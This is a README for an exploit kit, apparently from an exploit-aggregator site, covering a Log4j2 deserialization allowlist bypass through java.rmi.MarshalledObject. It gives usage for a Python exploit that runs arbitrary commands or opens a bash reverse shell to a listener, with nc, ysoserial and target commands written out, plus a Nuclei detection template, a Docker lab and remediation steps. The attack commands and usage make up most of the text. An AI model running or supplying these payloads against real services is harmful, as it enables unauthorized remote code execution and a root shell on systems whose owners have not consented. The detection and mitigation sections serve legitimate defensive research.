## https://sploitus.com/exploit?id=51D314BA-12C0-57D1-B7AC-D467946AB7CE
# Apache Log4j2 #4255 β FilteredObjectInputStream allowlist bypass via `java.rmi.MarshalledObject`
Unauthenticated Java deserialization in any service that reads serialized
`LogEvent`s through Log4j's `FilteredObjectInputStream` (FOIS). With a gadget
library on the target classpath this is **remote code execution**.
- **Affected:** `log4j-api` 2.11.0β2.26.1 / `log4j-core` 2.8.0β2.26.1
- **Upstream:** https://github.com/apache/logging-log4j2/issues/4255 *(no fix released at time of writing)*
- **Class:** CWE-502 β deserialization of untrusted data
- **Credit:** original report by U-Sec (Wujie Security); lab by [@dinosn](https://github.com/dinosn/log4j-4255)
> For authorized security testing only.
---
## Root cause
`FilteredObjectInputStream` keeps `java.rmi.MarshalledObject` in its default
allowlist (`SerializationUtil.REQUIRED_JAVA_CLASSES`):
```java
public static final List REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // β deserialized here by MarshalledObject.get(), unfiltered
```
### Where it is exploitable
Any endpoint that reads a serialized `LogEvent` off the network through FOIS:
- `apache/logging-log4j-samples` β `log4j-server` / `ObjectInputStreamLogEventBridge`
- `vertigo-analytics-server` `createSerializedSocketServer` (FOIS by default, no TLS/auth, binds all interfaces)
- log4j-core β€ 2.14.x, where the receiver shipped in-tree as `net.server.TcpSocketServer.createSerializedSocketServer`
Common ports: **4560, 4562, 4563, 9500** (SocketAppender defaults).
---
## Contents
| Path | What |
|---|---|
| `log4j_4255.py` | Standalone Python exploit (no deps, no JVM to build a payload) |
| `nuclei/log4j2-4255-marshalledobject-deser.yaml` | Nuclei network template, OOB (DNS) detection |
| `lab/run-receiver.sh` | Spin up a vulnerable (or mitigated) receiver in Docker |
| `lab/src/victim/Receiver.java` | The FOIS receiver, mirroring the official samples bridge |
---
## Quick start (local lab)
```bash
# 1. start a vulnerable receiver in Docker (fetches official log4j 2.26.1 jars)
./lab/run-receiver.sh
# -> [receiver] FilteredObjectInputStream bridge on 0.0.0.0:4560 ... filter=
# 2a. detection β DNS callback, no gadget lib needed
python3 log4j_4255.py dns -t 127.0.0.1 -p 4560 --oob YOUR-ID.oast.pro
# 2b. RCE β run a command (drop ysoserial.jar next to the script first)
python3 log4j_4255.py cmd -t 127.0.0.1 -p 4560 -c 'touch /tmp/PWNED_4255'
docker exec log4j4255-recv ls -l /tmp/PWNED_4255 # -> proof of RCE
# 2c. reverse shell (Docker Desktop: use host.docker.internal as --lhost)
nc -lvnp 4444 & # or your framework of choice
python3 log4j_4255.py revshell -t 127.0.0.1 -p 4560 --lhost host.docker.internal --lport 4444
```
---
## The Python exploit β `log4j_4255.py`
Builds the `LogEventProxy β MarshalledObject(objBytes)` envelope by hand (a tiny
Java-serialization writer), so **no JVM and no log4j jars are needed to craft the
payload**. The inner object graph is either a built-in JDK-only URLDNS chain
(detection) or any serialized gadget you supply (RCE).
```
usage: log4j_4255.py {dns,wrap,cmd,revshell} ...
dns --oob HOST wrap a JDK-only URLDNS chain (HashMap -> java.net.URL).
DNS lookup proves the inner stream is unfiltered.
No gadget library required on the target. Safe.
wrap --gadget FILE wrap an arbitrary serialized object graph, e.g. the
raw output of ysoserial. RCE when a matching gadget
library is on the target classpath. FILE '-' = stdin.
cmd -c COMMAND run a shell command on the target. Drives ysoserial
to build the gadget for you, then wraps + sends it.
revshell --lhost H --lport P open a bash reverse shell from the target. The
one-liner is base64-wrapped so it survives
Runtime.exec() whitespace tokenisation.
cmd / revshell also take:
--chain NAME ysoserial gadget chain (default CommonsCollections6)
--ysoserial PATH ysoserial jar (default ./ysoserial.jar or $YSOSERIAL)
--java PATH java binary (default $JAVA_HOME/bin/java or PATH)
common to all:
-t/--target HOST -p/--port N (default 4560)
-o/--out FILE build only, write payload to disk (send later with nc/burp)
```
`cmd` and `revshell` shell out to **ysoserial** to build the inner gadget, so they
need `java` and a ysoserial jar locally (drop `ysoserial.jar` next to the script,
or point at it with `--ysoserial` / `$YSOSERIAL`). On JDK 9+ the required
`--add-opens` flags are added automatically. `dns` and `wrap` stay pure-Python.
Examples:
```bash
# detection
python3 log4j_4255.py dns -t 10.0.0.5 -p 4560 --oob me.oast.pro
# run a command (gadget built for you)
python3 log4j_4255.py cmd -t 10.0.0.5 -p 4560 -c 'id > /tmp/x'
# reverse shell -- start the listener first: nc -lvnp 4444
python3 log4j_4255.py revshell -t 10.0.0.5 -p 4560 --lhost 10.0.0.9 --lport 4444
# RCE from a prebuilt gadget / pipe ysoserial straight in
python3 log4j_4255.py wrap -t 10.0.0.5 -p 4560 --gadget cc6.bin
java -jar ysoserial.jar CommonsCollections6 'id' | python3 log4j_4255.py wrap -t 10.0.0.5 --gadget -
# craft only, do not send
python3 log4j_4255.py wrap --gadget cc6.bin -o payload.bin
```
**Why URLDNS for detection:** it is a three-level, pure-JDK chain
(`HashMap β java.net.URL β String`). It needs nothing on the target but the JRE,
and β unlike commons-collections chains β it is shallow enough to survive a
`maxdepth` serial filter, so a DNS hit reflects the bypass itself rather than the
presence of one particular gadget library.
---
## The Nuclei template
`nuclei/log4j2-4255-marshalledobject-deser.yaml` β a **network** template that
sends the URLDNS-wrapped `LogEventProxy` and matches on an interactsh DNS
interaction.
```bash
nuclei -t nuclei/log4j2-4255-marshalledobject-deser.yaml -u 10.0.0.5:4560
nuclei -t nuclei/log4j2-4255-marshalledobject-deser.yaml -l targets.txt # host:port per line
```
Targets **must include the port** (it is a network template). The payload is
rebuilt at scan time for any `{{interactsh-url}}` length via nuclei DSL β the
two length-sensitive fields (the `java.net.URL` host/authority string prefixes,
and filler that keeps `MarshalledObject#objBytes`'s own length prefix constant)
are derived from `len(interactsh-url)`.
A match means the inner stream is unfiltered β i.e. the bypass is present.
Whether it escalates to RCE depends on the gadget libraries on that classpath,
which the template cannot see.
---
## Remediation
No upstream fix at time of writing β track
[apache/logging-log4j2#4255](https://github.com/apache/logging-log4j2/issues/4255).
In the meantime, in order of preference:
1. **Stop transporting serialized `LogEvent`s.** Use a JSON or RFC 5424 layout
over the socket instead of Java serialization.
2. **Deny the class at the JVM:**
`-Djdk.serialFilter='!java.rmi.MarshalledObject'` on the receiver. This closes
the bypass β but also rejects *legitimate* serialized `LogEvent`s, since
log4j's own transport relies on `MarshalledObject`.
3. Do **not** rely on `maxdepth`/`maxbytes` serial filters. They may block one
deep gadget (e.g. commons-collections) while leaving shallow chains β and the
bypass itself β intact.
Upstream fix suggested in the report: drop `java.rmi.MarshalledObject` from
`REQUIRED_JAVA_CLASSES` and carry the marshalled message via
`SerializationUtil.writeWrappedObject()` / `readWrappedObject()` (plain `byte[]`
run back through an inner FOIS), the pattern already used by `ObjectMessage`;
or migrate FOIS to a JEP 290 `ObjectInputFilter`, which sees through
`MarshalledObject` on JDK 9+.
---
## Verified
End-to-end against **official Log4j 2.26.1 jars on JDK 17**, in Docker:
| Target | `log4j_4255.py` (CC6) | Nuclei (`dns`) |
|---|---|---|
| FOIS receiver + commons-collections 3.2.1 | RCE (`cmd` β file created; `revshell` β root shell `uid=0(root)`), receiver silent | match |
| `-Djdk.serialFilter='!java.rmi.MarshalledObject'` | rejected (`InvalidClassException: filter status: REJECTED`) | no match |
| `-Djdk.serialFilter='maxdepth=5'` | CC6 blocked; URLDNS still fires | match |
| commons-collections 3.2.2 | silent (gadget patched); bypass still reached | match |
| same gadget sent **unwrapped** | rejected (`Class is not allowed: java.net.URL` / `TiedMapEntry`) | n/a |